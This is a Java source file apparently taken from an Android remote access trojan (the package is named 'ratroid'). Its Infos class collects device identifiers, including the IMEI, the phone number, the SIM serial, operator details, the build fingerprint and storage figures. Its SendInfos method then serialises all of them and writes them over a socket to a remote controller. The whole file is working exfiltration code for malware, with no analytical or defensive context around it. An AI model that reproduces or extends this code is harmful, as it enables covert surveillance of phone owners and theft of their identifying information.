package com.hicham.ratroid;

import java.io.ObjectOutputStream;
import java.io.OutputStream;

import android.content.Context;
import android.os.Build;
import android.os.Environment;
import android.os.StatFs;
import android.os.SystemClock;
import android.telephony.TelephonyManager;

public class Infos {
	
	private Context con;
	private TelephonyManager tm;
	private StatFs stat;
	private StatFs stat2;
	
	private String manif;
	private String model;
	private String display;
	private String finger;
	private String host;
	private String user;
	private String version;
	private String api;
	private String uptime;

	private String sdall;
	private String sdfree;
	private String memfree;
	private String memall;

	private String imei;
	private String phone;
	private String country;
	private String netopcode;
	private String netopname;
	private String nettype;
	private String phonetype;
	private String simopname;
	private String simopcode;
	private String simserial;
	

	public Infos(Context con1) {
		con=con1;
		tm = (TelephonyManager) con.getSystemService(Context.TELEPHONY_SERVICE);
		stat = new StatFs(Environment.getExternalStorageDirectory().getPath());
		stat2 = new StatFs(Environment.getDataDirectory().getPath());
		manif=Build.MANUFACTURER;
		model=Build.MODEL;
		display=Build.DISPLAY;
		finger=Build.FINGERPRINT;
		host=Build.HOST;
		user=Build.USER;
		version=Build.VERSION.RELEASE;
		api=android.os.Build.VERSION.SDK;
		uptime=getTime();
		sdall = String.valueOf((((long)stat.getBlockCount()*(long)stat.getBlockSize())/1048576));
		sdfree = String.valueOf((((long)stat.getAvailableBlocks()*(long)stat.getBlockSize())/1048576));
		memall = String.valueOf((((long)stat2.getBlockCount()*(long)stat2.getBlockSize())/1048576));
		memfree = String.valueOf((((long)stat2.getAvailableBlocks()*(long)stat2.getBlockSize())/1048576));
		
		imei = tm.getDeviceId();
		phone=tm.getLine1Number();
		country=tm.getNetworkCountryIso();
		netopcode=tm.getNetworkOperator();
		netopname=tm.getNetworkOperatorName();
		nettype=fnettype(con);
		phonetype=fphonetype(con);
		simopname=tm.getSimOperatorName();
		simopcode=tm.getSimOperator();
		simserial=tm.getSimSerialNumber();

		
	}
	private String fnettype(Context con){
		tm = (TelephonyManager) con.getSystemService(Context.TELEPHONY_SERVICE);
		int x = tm.getNetworkType();
		
        switch (x) {
        case 0:
            return "NETWORK TYPE UNKNOWN";
        case 1:
            return "GPRS";
        case 2:
            return "EDGE";
        case 4:
            return "CDMA";
        case 10:
            return "HSPA";
        case 15:
            return "HSPA+";
        case 9:
            return "HSUPA";
        case 11:
            return "iDen";
        case 13:
            return "LTE";
        case 3:
            return "UMTS";
        case 8:
        	return "HSDPA";
        default:
            return "Unknown Network";
        }
		
	}
	
	private String fphonetype(Context con){
		tm = (TelephonyManager) con.getSystemService(Context.TELEPHONY_SERVICE);
		int x = tm.getPhoneType();
		
        switch (x) {
        case 0:
            return "NONE";
        case 1:
            return "GSM";
        case 2:
            return "CDMA";
        case 4:
            return "SIP";
        default:
            return "Unknown Phone Type";
        }
		
	}
	
	private String getTime(){
		long l = SystemClock.elapsedRealtime();
		int secs=(int)(l/1000)% 60;
		int mins=(int)(l/(1000*60)) % 60;
		int hrs=(int)(l/(1000*60*60));
		return (String.valueOf(hrs)+":"+String.valueOf(mins)+":"+String.valueOf(secs));
	}
	

	public String[] SendInfos(Sender s) {
		String[] tab = {manif, model, display, finger, host, user, version, api,uptime,sdall,sdfree,memfree,memall,imei,phone,country,netopcode,netopname,nettype,phonetype,simopname,simopcode,simserial};
		try{
		OutputStream os = s.s.getOutputStream();  
		ObjectOutputStream oos = new ObjectOutputStream(os); 
		oos.writeObject(tab);
		oos.flush();
		}catch(Exception e){System.out.println(e);} 

		return tab;
	}


}
